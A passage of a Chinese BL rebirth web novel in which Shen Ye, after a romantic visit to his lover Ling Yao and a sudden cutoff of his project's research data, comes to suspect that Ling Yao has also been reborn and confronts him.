凌曜站在沈野身边,脸上挂着得体的笑,和朋友们一一击掌告别。 但等大家都转身离开,夜色中只剩下他们两人时,凌曜脸上那点笑意瞬间消散,嘴角微微抿起,眼神有些复杂地看了沈野一眼,没像往常那样立刻黏上来。 沈野敏锐地察觉到了他这份不同寻常的安静。 他倒是也有想问的。 他快走两步,与凌曜并肩:“凌曜。” “嗯?”凌曜脚步放缓,侧头看他,路灯在他脸上投下明明暗暗的光影。 “有件事,我很好奇。”沈野目视前方,语气听不出波澜,“很多年前,在加拿大多伦多,圣诞夜。我好像看到你了,在街上,和一群朋友。但你说不认识我。” 他说的很含蓄,但凌曜立即明白了什么意思。 沉默了几秒,凌曜才低声开口,带着点自嘲:“……我看见了。” “嗯。”沈野停下脚步,转身看着他,“那时候,是有什么原因吗?” 凌曜也停了下来,双手插在口袋里,脚尖不耐烦地踢了一下路边的小石子,语气带着点烦躁和理所当然:“还能有什么原因?那时候烦死了,看什么都不顺眼。” 他抬起头,撇了沈野一眼,略带委屈道:“而且,还不是都怪你。” “跟我有什么关系?”沈野挑眉。 凌曜理直气壮地哼了一声,“谁让你当时不肯跟我一起来?我觉得你根本就不在乎我,那我干嘛要理你。看见你也当没看见。” 他越说越气,仿佛自己才是受了天大委屈的那个。 沈野看着他这副倒打一耙,蛮不讲理的样子,只觉得有点好笑,静静听着没打断。 “再说了……”凌曜的神色终于变得扭捏起来,沈野一看,就知道他终于要说真实答案了。 凌曜低头插兜道:“那时候我们俩又没什么关系,我那群朋友什么德行,你今天也看到了吧?” 他翻了个白眼,语气酸溜溜的,带着强烈的占有欲:“一个个看见长得好看能力又强的,就跟苍蝇见了……咳,就跟见了宝似的。要是当时让他们看见你,还得了?” “他们肯定围着你问东问西,献殷勤,说不定还敢追你。想得美!”他冷哼一声,“我看上的人,凭什么让他们先惦记?所以干脆就当没看见你,把你藏起来,最安全省心。” 这番理由霸道,直白,充满了凌曜式的自我中心和蛮不讲理的占有欲,丝毫没有反省的意思,反而透着一股理直气壮。 却像一把钥匙,咔哒一声,用一种截然不同的方式,打开了沈野心中那个尘封已久的结。 原来是幼稚的赌气和独占欲啊。 沈野看着眼前这个气鼓鼓的,仿佛自己才是受害者的凌曜,心里那点残留的芥蒂,突然就消散了。 取而代之的是一种哭笑不得。 他轻轻叹了口气,伸手,揉了揉凌曜的头发:“就为这个?” 第54章 凌曜被他揉得愣了一下, 察觉到沈野语气里的缓和,立刻顺杆爬,抓住他的手, 语气又带上了惯有的委屈:“不然呢,我怎么可能不认你呢,我那时候多可怜啊,家里不安宁, 喜欢的人还不搭理我……只能用那种蠢办法自我保护了。” 沈野看着他这迅速切换的可怜样,摇了摇头, 反手握住他的手:“行了,陈年旧事, 过去了。” 凌曜眼睛一亮, 立刻得寸进尺地靠过来,刚才那点小忧郁瞬间抛到九霄云外。 就在这时, 司机早已将车开到门口。 两人一前一后坐进宽敞的后座。 车门刚一关上,隔绝了外面的世界, 凌曜就像没了骨头一样, 整个人歪倒在沈野身上, 把脸埋进他的颈窝里,用力吸了一口气, 闷声闷气地哼道: “哼……哥哥今天可真是出尽风头了啊。心结都给你解开了, 这下满意了吧?” 沈野被他撞得微微后仰, 下意识地看了一眼驾驶座方向。 隔音玻璃升起, 司机专注地看着前方, 似乎对后座的一切充耳不闻。 他无奈地低声道:“坐好。” “就不就不。” 凌曜耍赖,手臂环住沈野的腰,抱得更紧了些, 抬头用下巴蹭着沈野的锁骨,语气酸溜溜的。 “James那个笑面虎,眼珠子都快粘你身上了!还有Khaled,装得一本正经,问个没完,Evelyn就更别提了……你是不是挺享受被他们围着问东问西的?” 他越说越气,像是真的受了天大委屈,突然张嘴,不轻不重地咬在沈野颈侧那块敏感的皮肤上,用牙齿细细地磨着,留下一个湿漉漉的印子。 “嘶……”沈野倒抽一口冷气,身体瞬间绷紧。 倒不是因为凌曜咬得疼,而是因为那种麻痒的触感,以及…… 前排还坐着司机。 他耳根不受控制地泛起热意,伸手想去推凌曜的脑袋,“凌曜,别闹。” 凌曜松开牙齿,舌尖却安抚似的在那小小的牙印上舔了一下。 感受到沈野身体的微颤,他得逞般地低笑,声音带着蛊惑:“谁让你光顾着跟他们说话,都不看我……我不管,你冷落我了,得补偿我。” 沈野被他这倒打一耙的逻辑气笑,压低声音:“我怎么冷落你了?从头到尾不都坐在你旁边?” “那不一样!”凌曜理直气壮,“你的注意力没完全在我身上,就是冷落!” 他在沈野身上乱蹭,蛮不讲理地要求,“我要吃糖,上次那种外面酸酸的裹着糖粉的,现在就要。你去给我买!” 沈野看着窗外飞速倒退的街景,又瞥了一眼驾驶座,知道跟这小祖宗讲道理是没用的。但他并没有像往常那样立刻纵容地答应。 他没有去抓凌曜的手腕,自己抬起手,用指尖轻轻拂开凌曜额前微乱的碎发,动作温柔得像是在安抚一只闹脾气的小动物。 “糖当然给你买,”沈野的声音压得很低,带着磁性的沙哑,几乎是在用气音说话,带着些许撩人。 “不过……” 他故意顿了顿,指尖顺着凌曜的鬓角滑到耳垂,不轻不重地捏了一下,才继续道:“你再这么蹭下去,司机大概会觉得,我们不是急着去买糖,而是有更要紧的事,得立刻找条小巷子停车了。” 凌曜浑身一僵,怎么也想不到这种话居然是从沈野嘴里说出来的! 他猛地抬起头,一下子撞进沈野含笑的眼眸里。 那眼神深邃,带着玩味和一丝不易察觉的纵容,哪里还有半分刚才被骚扰的窘迫? 这家伙根本就是故意的! “你……!”凌曜的脸颊“唰”地一下红了,一半是被撩的,一半是羞的。 不过,他的嚣张的气焰确实瞬间瘪了下去。 他悻悻地收回揪着沈野衬衫的手,小声嘟囔:“……看我回去怎么办了你。” 沈野眼底的笑意加深了几分,“乖,”他低声说,“回去就给你买。” 凌曜在他怀里闷闷地“嗯”了一声,不说话了,想到刚刚沈野说的,心里还是有点痒痒的,想啃他几口发泄。 这个男人,总是有办法用最轻飘飘的话,让他兵败如山倒。 可恶! 但好像,更让人心动了。 车厢内重新安静下来,司机依旧专注地开着车,对后座无声的较量一无所知。 —— 车子平稳地驶入公寓地下车库。 车门一开,凌曜就像只终于被解开绳子的大型犬,率先跳下车,然后不由分说地拉着沈野的手腕,脚步飞快地冲向电梯。 仿佛慢一秒,心心念念的糖就会飞走一样。 然而,沈野这种纵容的后果,在接下来的几天里体现得…… 有点费腰。 沈野一度开始怀疑,自己这次来A国到底是来干嘛的。 白天的日程几乎完全被凌曜霸占,凌曜像是要弥补异国恋的所有空白,拉着他把A国著名的不著名的景点逛了个遍,从博物馆到主题乐园,从山顶徒步到海边散步,美其名曰“带你体验我的生活”。 沈野虽然体力不错,但也架不住这种高强度的陪伴。 几天下来,感觉比连续开一周跨国会议还耗神。 而到了晚上……才是真正的考验。 凌曜像是饿久了的小兽,不知餍足。 公寓那面巨大的落地窗,成了他最喜欢的战场之一。 城市的璀璨夜景成了背景板,沈野被抵在冰冷的玻璃上,视觉的眩晕和身体的刺激达到了顶峰。 他只能徒劳地用手掌撑住玻璃,在起雾的窗面上留下模糊的指痕,破碎的声音被淹没在夜色和凌曜灼热的呼吸里。 客厅宽敞的沙发、浴室氤氲着水汽的瓷砖墙、甚至厨房光滑的岛台…… 都留下了两人纠缠的痕迹。 凌曜的精力旺盛得惊人,仿佛要把这几个月的思念和渴望一次性补回来。 沈野腰腿酸软,某个难以启齿的地方更是传来清晰的胀痛感,时刻提醒着他夜晚的战况有多激烈。 清晨,沈野又一次在浑身酸痛中醒来。他侧头看着身边还在熟睡的凌曜。 睡得倒是安安静静,乖巧可爱的。 沈野看着他,心里又是好气又是好笑。 他飞来A国,原本是想处理一下项目收尾,顺便看看凌曜。 结果呢? 项目会议挤在行程缝隙里开,大部分时间都耗在了陪玩和陪睡上。 沈野估摸着,估计再多不了几天,就得回去了。 果然,三日后,秘书的越洋电话适时响起,语气恭敬地提醒他早点回去。 沈野看着日程表上密集的标记,心里有数,于是让秘书把票定了。 等收到订票的通知,沈野放下平板,走向客厅。 凌曜正懒散地陷在意大利定制的天鹅绒沙发里,戴着耳机,手指在游戏手柄上飞快操作,看样子是在玩塞尔达。 沈野在他身边坐下,等他过了一个关卡,道:“我明天早上的航班,得回去了。” 凌曜操作的手指猛地一顿,屏幕上的角色应声倒地。 他摘下耳机,缓缓转过头,脸上神情瞬间凝固,整个人肉眼可见地萎靡下来。 凌曜沉默了几秒,然后整个人滑进沙发深处,哀嚎:“不是吧……这才几天?你们公司离了你是不是就转不动了?!” 抱怨归抱怨,当沈野起身走向衣帽间时,凌曜还是磨磨蹭蹭地跟了上来,像条尾巴。 超大的衣帽间内,两侧是顶天立地的透明衣柜,井然有序地挂着熨烫平整的衣物。 凌曜才不会收拾这些,这些琐事自然有专人打理,他甚至连衣柜都很少亲自打开,只是在需要时,吩咐一下“搭配一套出去玩的衣服”或者“拿那件新到的卫衣”,自然会有生活助理在五分钟内将全套行头,从里到外,包括配饰,都准备好放在更衣室的中央岛台上。 不过,自从沈野来了,凌曜是丝毫不想让别人闯入他的私人空间,也就没再让生活助理来过这个屋子。 沈野刚拿出行李箱,凌曜就从身后贴了上来,手臂环住他的腰,下巴搁在他肩窝,温热的气息拂过耳畔。 他看着沈野拿出一件件衣服,开始鸡蛋里挑骨头,点评起每一件衣服。 沈野由他挂着,手上动作利落,将衣物一件件平整放入行李箱,偶尔回以一声不置可否的轻哼。 两人在这种诡异的和谐里,把行李差不多收拾妥当。 凌曜长长叹了口气,忽然松开了他,走到衣帽间内侧一座恒温恒湿的透明收藏柜前。 指纹锁应声开启,柜内柔和的灯光照亮了其中陈列的数十枚腕表,他略一审视,取出了一个深蓝色鳄鱼皮表盒。 表盒表面压印着烫金的品牌徽记,质感非凡。 凌曜取出表盒,打开。 黑色丝绒衬垫上,静静躺着两枚铂金腕表。 这是其极为罕见的星空传奇大师弦音系列腕表,表壳材料罕见,是950铂金与深灰色陶瓷碳纤维复合材质锻造,既保留了铂金的厚重质感,又赋予了表壳独特的哑光纹理。 表盘镶嵌着蓝宝石模拟的星座图案,是肉眼可见的精致与奢华。 而最为精妙的是,透过蓝宝石表背,可以清晰地看到内部机芯的运转。这已超越了时计功能,堪称艺术品。 “喏,”凌曜将其中一枚拿起,递给沈野,“我早就买了,一直放着。正好,配成对儿。” 沈野接过腕表,手感瞬间传来,沉甸甸的,冰凉却并不刺骨。 他自然识货,心中立刻对它的价值有了清晰的判断。 这个系列,价格绝对在千万级别,而且有价无市,也许只有凌曜这样的人才能拿到。 “太贵重了。” 沈野微微蹙眉,指尖摩挲着冰凉的表壳。 “一块表而已,戴着玩。”凌曜不以为意地摆摆手,然后拿起另一枚,熟练地戴在自己线条优美的手腕上,将手腕伸到沈野面前比了比,唇角微扬,“看着还行?” 沈野点头,凌曜像是被哄得更开心,反复看着自己腕上的表,又拉过沈野的手,将两枚表并在一起,在灯光下仔细端详。 “的确还行。”凌曜哼了一声,语气里很是满足。 他指尖轻轻划过两只表相同的表盘,低声嘟囔,“以后可不许随便摘下来。” “嗯,会常戴的。”沈野看着他这副模样,哄道。 前往机场的路上,凌曜的情绪明显高涨了许多。 他不再像之前那样蔫蔫地靠着车窗,而是时不时就抬起手腕,借着窗外掠过的光线,瞄一眼腕上的表,然后嘴角就会弯起一个浅浅的弧度。 他甚至开始絮絮叨叨地规划起下个月沈野再来时要带他去哪里,尝试哪家新开的餐厅,仿佛离别只是下一次见面的短暂铺垫。 车内原本弥漫的低气压渐渐消散,直到下车前,凌曜还特意晃了晃手腕,再次确认道:“说好了啊哥哥,要常戴哦。” “嗯,说好了。” 得到肯定的答复,凌曜才心满意足地戴上墨镜,恢复了那副惯有的,略带骄矜的模样,迈步下车—— 回到国内,重新投入高强度的工作,沈野却感到一种微妙的不习惯。 公寓里太过安静,没有了凌曜叽叽喳喳,沈野有点不适应。 而且,身上某些隐秘处被凌曜留下的咬痕和吻痕,过了许久也没有消散。 尤其是后腰那个极深的齿印,在多日后结痂脱落时,带来一阵阵细微而顽固的刺痒感。 仿佛那个远在A国的小少爷,正用这种近乎野蛮的方式,宣示着自己的存在。 沈野有时在浴室镜前侧身,看到腰侧那圈清晰得嚣张的牙印,会忍不住蹙眉。 指尖按上去,想:那小子下嘴这么狠,绝对是故意的。 变故来得很突然。 这天下午,沈野正在主持一个战略会议。 巨大的投影屏幕上数据流动,各部门主管正激烈讨论着市场策略。 沈野的手指无意识地摩挲着钢笔,目光落在窗外,思绪有那么一瞬间飘远——凌曜那边,应该是凌晨了,不知道是不是又熬夜打游戏…… 就在这时,会议室的门被轻轻叩响,打断了他的思绪。 沈野顿时发现了不对。 他的首席秘书站在门口,面色是从未有过的凝重。 沈野了解他,无论是上辈子还是这辈子,秘书都是温和沉稳的,很少会有情绪摆脸上的时刻。 第55章 一定是发生什么大事了。 他没有像往常一样安静等待会议间歇, 而是轻轻喊了一声:“沈总。” 会议室内的讨论声逐渐安静下来,所有人都看向门口,好像也发现了不对劲。 沈野对与会人员微微颔首:“休息十分钟。” 随即起身, 大步走向门外。 秘书紧随其后,两人走到走廊尽头的落地窗前,这里相对僻静。 “沈总,”刚在窗边站定, 秘书甚至来不及平复呼吸,语速极快地说道, “出事了。瑞士那边刚传来紧急消息,CEN单方面暂停了与我们项目的全部数据共享权限。” 沈野的眉心几不可查地蹙了一下。 CEN的数据, 是项目模型的绝对核心, 这条合作渠道高度保密,知晓范围极小。 “理由?” “官方说辞是因技术调整, 暂停部分外部数据接口。” 秘书微微颤抖的指尖泄露了他的紧张,“他们愿意按合同最高条款支付违约金, 态度非常公事公办, 甚至可以说强硬, 没有任何协商余地。” 沈野沉默着,目光投向窗外鳞次栉比的楼宇。 仅仅是CEN的数据中断, 虽然棘手, 但尚可尝试通过其他渠道迂回获取数据。 或者调整研究重心, 虽然代价巨大, 但并非绝路。 然而, 他直觉事情不会这么简单。 “还有吗?”他问,声音低沉。 秘书的脸色更白了一分,继续道:“更严重的是, 几乎在同一时间,我们团队IP地址均被列入黑名单,访问被全面阻断。我们的数据……我们的数据流被完全掐断了。” “现有的数据储备,最多……最多也只能支撑四周。” 四周。 二十八天。 对于一个处于关键阶段的前沿项目而言,数据断供四周,意味着什么? 意味着理论模型无法验证,所有基于最新数据的模拟实验,全部停摆,即将到来的国际能源峰会上的关键报告失去支撑,已经谈妥的融资极可能瞬间蒸发,团队心血可能毁于一旦! 这一击,太准,太狠。 对手不仅清楚他们项目的死穴在哪里,而且能量巨大,能同时影响CEN以及多个关键数据库的访问权限。 沈野的手微微收紧。 他强迫自己冷静,大脑飞速运转,过滤着可能的对手。 是那些传统的能源巨头? 还是国际上的竞争对手? 他们或许有动机,但能如此精准同时打破他的合作渠道,这需要对其项目内部运作熟悉到可怕的程度…… “立刻通知技术核心组,五分钟后小会议室紧急会议。” 沈野的声音冷冽,不容置疑,“同时,24小时内,我要知道是谁在背后推动这一切。” “是,沈总!” 秘书立刻应下,转身快步离去安排。 沈野独自留在落地窗前,这种被人在暗处窥视,并且狙击的感觉,令人极度不适。 五分钟后。 技术核心组的紧急会议气氛凝重得能滴出水来。 几位核心研究员听到消息后,脸上瞬间失去了血色。 数据是他们的弹药,弹药库被端了,这仗还怎么打? 几个技术骨干急得嘴角冒泡,七嘴八舌出主意: “能不能想办法黑进去……” “不行!对方防火墙是军方级别的!找死吗?” “那……找其他机构买数据?” “买?现在市面上符合要求的数据全被扫空了!有钱都买不到!” “要不我们调整研究方向……” “放屁!现在改方向,之前的投入全打水漂!投资人能生撕了我们!” 每条路都被堵死,绝望像冰冷的潮水淹没了每个人。 四周! 只有四周! 时间像死神的镰刀已经架到了脖子上! 沈野面沉如水地坐在主位,指尖无意识地敲着桌面。 下属们慌成一团,他却奇异地冷静下来。 突然,一个模糊的念头划过脑海。 这种精准打击的风格,这种绕过所有防御,直插心脏的狠辣,这种利用规则和资源优势的手法…… 怎么他妈这么眼熟? 一个激灵,像一道闪电劈进脑海! 一些他以为早已遗忘的记忆碎片猛地涌了上来,不是这辈子,是上辈子。 在他前世被逼入绝境的那次商业战争中,对手使用的,似乎也是类似的策略? 只是那次更直接,目标是他的公司实体,而这次,目标换成了更隐蔽的命脉。 那个前世的对手……是凌曜。 沈野的心猛地一沉。 不可能! 他立刻否定了这个荒谬的念头。 这辈子的凌曜,虽然还是个作天作地的太子爷,但对他是真心。 沈野眼前闪过凌曜缠着他要糖吃,两人相拥睡觉,甚至在情动时红着眼角的画面。 那样一个人,怎么可能同时又在背后捅他刀子? 而且这么做对凌曜有什么好处? 毁了他的项目,对凌云集团百害无一利! 凌曜是骄纵,但不是蠢货。 可不是凌曜,又会是谁? 谁能把凌家的手段,学得这么惟妙惟肖? 沈野的眉头死死拧紧,一股寒意从脚底窜起。 他发现自己可能……从未真正看清过水面下的暗流。 沈野的眉头拧得死紧,用力回想上辈子被凌曜干翻的那次细节,但脑子里就像蒙了一层厚厚的马赛克,除了记得凌曜那小子下手贼狠,把他逼得走投无路之外,具体怎么操作的、背后有没有猫腻,全他妈糊成一片。 回到顶层办公室,沈野把所有人都轰了出去,一个人站在落地窗前。 外面城市灯火璀璨,晃得他眼晕,如今也没有了欣赏的雅趣。 就在他烦躁得想砸东西的时候,手机突然响了。 是凌曜给他设置的专属的铃声。 沈野深吸一口气,揉了揉脸,接起电话,努力让声音听起来正常:“喂?” 电话那头立刻传来凌曜清亮又不满的嗓音,背景音还夹杂着游戏特效声:“喂什么喂!沈野你什么意思,回去几天了?一个消息都没有,电话也不打!你是不是在外面有人了?!” 劈头盖脸一顿质问,带着他特有的骄纵和蛮不讲理。 沈野顿时哭笑不得。 这是来查岗了。 他无奈地扶额,叹了口气:“……我这边有点事。” “有事?有什么事比我还重要?” 凌曜哼了一声,语气更不满了,“我告诉你,别想糊弄我。你后腰我那记号还在不在?是不是背着我不老实了?” 沈野:“……” 他下意识地摸了摸后腰那块还在隐隐刺痒的皮肤,额角青筋跳了跳。 这边公司都快被人搞破产了,那边小祖宗还在担心标记问题…… 这对比过于惨烈,让沈野一时间竟不知该气还是该笑。 沈野被凌曜胡搅蛮缠得头疼,加上连日压力巨大,脱口而出:“有人?我这边都快让人连锅端了,哪来的闲心找别人。” 电话那头瞬间安静了,连游戏背景音都停了。 过了几秒,凌曜的声音沉了下来,带着一丝冷意:“什么意思?哥哥,说清楚。” 沈野捏了捏眉心,索性言简意赅地把事情说了。 CEN数据断供、全球数据库被ban、库存只够四周。 凌曜听完,沉默了片刻,再开口时,语气里压着火气:“沈野,你脑子被门夹了?这么大的事,现在才告诉我?!” “也是今天下午刚出的状况。” “刚出状况就不用说了?等公司真黄了再给我发讣告?!” 凌曜的声音拔高,带着显而易见的焦躁和委屈,“你把我当外人?” “不是……”沈野想解释,但一时语塞。 “行了,哥哥,”凌曜打断他,“资料!把对方怎么卡你、动了哪些数据库、所有细节,马上发给我。” 电话挂断后,沈野指尖在屏幕上划过,将整理好的资料发给了凌曜。 他其实没抱太多希望,只当是哄一哄那位远在A国,可能正因为被忽略而闹脾气的小祖宗。 接下来的几天,沈野几乎住在了公司。 甚至,已经连续一周没好好合眼了。 眼底的红血丝像蛛网般蔓延开来,下巴冒出了青色的胡茬也没心思打理。 平时熨帖平整的白衬衫领口被扯松了,最上面的扣子开着,露出锁骨的线条,袖口随意地挽到手肘,小臂绷紧的肌肉线条透着一股强撑的力道。 沈野上辈子也只遇见过一次这样难缠的对手。 以至于每一次尝试,最终都像拳头砸进棉花里,什么回应也没有。 就在团队士气最低迷,连沈野自己都开始制定最坏的B计划时,那个专门设置为凌曜专属铃声的手机突然响了起来。 沈野揉揉太阳穴,拿起手机,发现他只给自己发了个加密附件和一句留言: 【联系这个人。说是我的朋友。权限的事,我来处理。】 语气是凌曜一贯的,带着点理所当然的干脆。 沈野点开附件,里面只有一个名字和一串联系方式,隶属于CEN某核心评审委员会的一位实权人物。 他上辈子也和这个打过交道,说实话,很难缠。 这人地位超然,以不近人情著称,绝非普通的手段就可以打动到。 要在平时,沈野对这种托关系,走人脉的路子最是不屑一顾,容易欠下一屁股人情债。 可眼下,看着办公室里一片愁云惨雾,沈野觉得还是那句名言。 管他黑猫白猫,能抓住老鼠就是好猫。 不过,他没急着去抱凌曜给的那条大腿,而是先把自己关在办公室里,动用了自己这些年攒下的欧洲学界关系。 那几天,他办公室的灯基本没熄过,咖啡杯堆了一桌子,琢磨着这位大人物的喜好,最终生成了一份严谨的报告。 几天后,转机来了。 但来的方式有点怪。 CEN那边没直接恢复权限,倒是那位关键人物出面,搞了个小范围的,非正式的专家评议,专门讨论他们项目里的那点理论。 这流程走得悄无声息,结果也没公开,但明眼人都看得出来,风向逐渐开始往他们这边转了。 紧接着,之前拽得二五八万的CEN管理层,态度居然一百八十度大转弯,找了个误判的台阶,很迅速地恢复了部分数据权限,其他几个数据库的封锁也跟着解除了。 危机解除,团队欢呼雀跃,恨不得把沈野抛起来庆祝。 可沈野反而咯噔一下,泛起一股凉意。 这事,办得太顺了,顺得有点邪门。 凌曜轻飘飘一句“我来处理”,效果也太立竿见影了。 那个级别的关键人物,是打个招呼就能请动的? 而且,对方发起评议的时机、选择的切入点,都精准得可怕,简直像是…… 早就知道他们手里有什么牌,早就规划好了破局路径一样。 这种对学术圈潜在规则和关键人物心理的精准拿捏,这种四两拨千斤的运作手法…… 根本不像个二十出头、养尊处优的小少爷能有的道行! 这个手法,倒像是上辈子那个在商界浸淫多年、手段老辣、总能在关键时刻精准卡住他命门的凌曜。 一个荒谬又惊悚的念头,像条毒蛇,猛地窜进沈野的脑海—— 凌曜,该不会也是重生的吧?! 所以他这次出手才这么轻车熟路? 这念头让沈野后颈的寒毛都立起来了。 这已经不是他第一次这么想了。 从凌曜突然对他转变态度开始,那种太强的占有欲就透着古怪。 再到后来,凌曜说梦话提及前世,时不时冒出的对商业局势的判断,还有那次在A国,凌曜同学也惊讶他为何忽然转变这么大…… 每一次,沈野都用“凌曜天赋异禀”之类的理由强行解释了过去,把那份疑虑死死按在心底。 他不敢深想,或者说,不愿深想。 可这一次,不一样了。 凌曜轻飘飘一句“我来处理”,调动的人脉层级之高,运作手法之老辣,对时机和分寸的拿捏之精准,已经完全超出了天赋或家世能解释的范畴。 这根本就是浸淫权力场多年的老手才会用的路数! 逼得沈野再也无法自欺欺人。 实话说,他心里乱成了一团麻。 但多年历练出的冷静让他强行压下了翻涌的情绪。 现在不是慌乱的时候,他必须弄清楚真相。 如果凌曜也是重生的…… 那他这辈子看似黏人依赖的背后,到底藏着什么? 他对自己,究竟是怎样的心思? 上辈子那些针锋相对、乃至最后的决裂,又到底是怎么回事? 沈野后颈的寒毛瞬间立了起来,一股寒意从脚底直窜头顶。他发现自己可能从未真正了解过凌曜。 之前还能骗自己说是想多了,但这次,铁一般的事实摆在眼前,他没法再糊弄过去了。 凌曜身上,绝对有问题! 一个月后,A国,一家古典格调的威士忌酒吧。 窗玻璃上滑落着淅淅沥沥的雨痕,将窗外的霓虹模糊成一片片光晕。 沈野独自坐在吧台前,指尖无意识地摩挲着杯壁上凝结的水珠。 他比约定时间早到了近一个小时,需要一点时间复盘一下。 过去的一个月,他因为太忙,于是减少了与凌曜的联系,回复信息变得简短,电话也常常以在忙匆匆结束,但凌曜一反常态地没有闹。 他需要空间和时间,一边处理公司的烂摊子,一边动用所有能动用的资源调查凌曜。 调查结果陆陆续续传回,拼凑出的画像,让沈野心底阵阵发凉。 资料显示,大约从去年凌曜生日过后不久,一些变化开始发生。 之前的凌曜,虽然聪颖,但兴趣更多停留在赛车、派对和那些纨绔子弟喜欢的玩法,对家族生意的核心事务并不过问,带着被宠坏的世家子常见的漫不经心。 上辈子凌曜读大学时,也是这样的性子。 直到毕业回国,正式开始接手家里的事务,才逐渐发生改变。 调查还显示,自从凌曜生日之后,他似乎一夜之间沉稳了许多。 比如,他主动缩减了不必要的社交,开始有选择地接触凌云集团内部一些真正核心的跨洲业务和战略投资。 更令人心惊的是,他私下接触的几个人脉,以及几次看似随意的资金调动,其眼光之老辣、时机拿捏之精准,完全超乎了他这个年龄和以往表现应有的水准。 其中几条隐秘的资金流向,甚至与这次针对沈野公司的狙击手法,有着微妙的相似之处。 这种转变并非突变,而是渗透在细节里,很容易被忽略。 但串联起来,却勾勒出一条清晰的轨迹。 一个曾经纨绔的太子爷,正以一种惊人的速度,蜕变成一个深谙规则、懂得藏锋的…… 掌棋者。 “哥哥!” 一声欢快的呼唤打断了沈野的沉思。 他抬头,看见凌曜推开酒吧的门走了进来。 天气仍然有些凉,凌曜穿着柔软的燕麦色高领毛衣,头发被有些潮湿,几缕贴在光洁的额前。 他看到沈野,笑得很甜,几步就小跑到吧台,极其自然地挨着沈野坐下,手臂一环就搂住了他的腰,带着室外凉意的脸颊习惯性地往他肩窝里蹭。 “你怎么突然来了?是不是想我想得不行了?” 声音里是毫不掩饰的亲昵和惊喜,带着点撒娇的意味。《 》 55-60 第56章 若是从前, 沈野会纵容甚至享受这份依赖,会觉得这小孩儿虽然脾气大,但他喜欢自己是真的, 这么一看,缺点也就成了优点。 毕竟这样,也挺可爱的。 但此刻,感受着怀中温热的躯体, 回想起从前种种,沈野的身体几不可察地僵硬了一下。 他心底涌起一股难以言喻的复杂情绪, 有怀疑,有寒意, 甚至有一丝被欺骗的愤怒。 他推开了凌曜。 凌曜脸上的灿烂笑容瞬间凝固。 他抬起头, 漂亮的眼睛里充满了错愕:“……哥哥?怎么了?” 沈野没有看他,而是转向酒保, 声音平静无波:“麻烦给我们一个安静点的位置。” 酒保会意,引他们来到角落一处半隔开的僻静位置。 沙发柔软, 灯光暧昧, 气氛却骤然降到了冰点。 凌曜抿着嘴唇, 安静地坐在对面,手指无意识地抠着实木桌沿的纹路, 眼神低垂, 长长的睫毛在眼下投下一小片阴影。 沈野看着他这副模样, 心脏像是被一只无形的手攥紧。 调查结果与眼前这个人形成了巨大的割裂感, 让他一时不知该如何开口。 沈野看着他这副样子, 心里五味杂陈。 他想起很多年前,在凌家老宅那个有着巨大落地窗的书房里,阳光很好, 小小的凌曜非要缠着他下象棋。 那时候的凌曜还是个输不起的小哭包,每次眼看要输就开始耍赖。 有一次下棋,眼看自己的“将”被沈野的“车”和“马”步步紧逼,快要无路可逃,小凌曜急得眼圈一下子就红了。 他根本想不出解法,情急之下,干脆伸出小手,一把抓住沈野刚刚吃过他一颗“炮”的“车”,想把它拽回原来的位置,嘴里还带着哭腔耍赖: “不算,哥哥你刚才那步不算!你把车拿回去,我……我还没想好呢!” 沈野被他这蛮不讲理的举动弄得哭笑不得,按住他胡闹的手:“落子无悔,不能耍赖。” 小凌曜见耍赖不成,更委屈了,眼泪在眼眶里打转。 他瘪着嘴,目光在棋盘上胡乱扫视,突然指着一处根本无关紧要的位置,抽抽噎噎、异想天开地问: “那……那我走这里!我走到这儿,你……你是不是就将军不到我了?你就输不了了,对不对?” 他仰起小脸,泪汪汪地看着沈野,语气里全是蛮横的侥幸和可怜的期待。 仿佛只要沈野点头承认这个荒谬的走法有效,他就真的赢了。 那时候,沈野觉得这孩子真是又娇气又麻烦,下个棋也不肯认输,非要胡搅蛮缠,真是又好气又好笑。 可现在…… 沈野看着眼前这个漂亮得过分,心思却深不见底的青年,实在无法将他和记忆里那个小哭包联系起来。 “凌曜,” 沈野终于开口,声音低沉,打破了令人窒息的沉默,“一个月前,公司的事,谢谢你。” 凌曜眼睛微微一亮,刚想说什么,沈野却抬手制止了他,继续道:“但我查过了。帮你递话给CEN那位关键人物德维特先生的那位中间人,是德维特先生的亲舅舅,也是他当年的博士生导师。” “这件事极其隐秘,外界几乎没人知道。你是如何请动他出山的?” 凌曜脸上的血色瞬间褪去,他张了张嘴,眼神闪烁,下意识地想避开沈野的视线。 沈野不给他思考的机会,身体微微前倾,目光如炬,紧紧锁住他:“好,那些都不提。那我们说说绿风协议。” 他刻意停顿,果然看到凌曜的瞳孔猛地一缩。 “这个代号,目前应该只存在于瑞士的绝密档案里,保密期是十年。理论上,在解禁前,全世界知道它存在的人,不超过三个。” 沈野的身体微微前倾,带来极强的压迫感,一字一顿地问: “一个十年后才可能解禁的文件,你是怎么在一个月前,就精准地把它写进方案里的?” 这话像一道惊雷,直接让凌曜面色狠厉。 沈野看着他剧烈反应,心里最后那点侥幸也彻底熄灭了。 不需要再问了。 一个不该存在于这个时间点的绝密信息,就是最致命的证据。 沈野看着他苍白的脸和微微颤抖的指尖,心中最后一丝侥幸也彻底熄灭。 他也站起身,一步步逼近凌曜,直到两人几乎鼻尖相抵。 他盯着凌曜那双漂亮的眼睛,用只有他们两人才懂的记忆,一字一顿,清晰地问道: “凌曜,告诉我,” “从始至终,你的这一步,是不是就叫——‘将军’?” 这不是普通的词汇。 是小时候,在那个阳光洒满的凌家书房,凌曜专门用来耍赖的话。 每当凌曜要输,就会红着眼睛赖账,仿佛这样就能扭转败局。 此刻,从沈野口中说出,却冰冷刺骨,带着审判的意味。 一切,不言而喻。 凌曜听懂了,也沉默了,密而长的睫毛垂下来,在灯光打下一小片阴影。 沈野站在原地,看着眼前这个熟悉又陌生的人,只觉得一股寒意从脚底直蹿头顶。 他们之间,从一开始,就不是单纯的久别重逢。 这是一盘棋,一盘凌曜带着前世记忆落子的棋。 而他,直到此刻,才真正看清了棋局。 沈野看着眼前的人,那双他曾觉得盛满星子的漂亮眼睛,此刻只让他感到彻骨的寒意。 他声音低沉,没有歇斯底里,却带着一种被彻底摧毁后的死寂: “从什么时候开始的?” “看着我像个傻子一样,在你布好的局里挣扎,很有趣吗,凌曜?” 他无法接受。 无法接受这个黏着他、对他撒娇、让他心软的人,内里竟然是上辈子那个与他针锋相对,最终将他逼入绝境的凌曜。 更无法接受,这一世所有的温暖和依赖,居然都是基于一场欺骗。 “不是的,哥哥……”凌曜终于开口,脸色发白。 “我不是要看你难过,我回来……我回来是想弥补……” 他想说,我回来是为了找你,是为了改变那个糟糕的结局。 “弥补?” 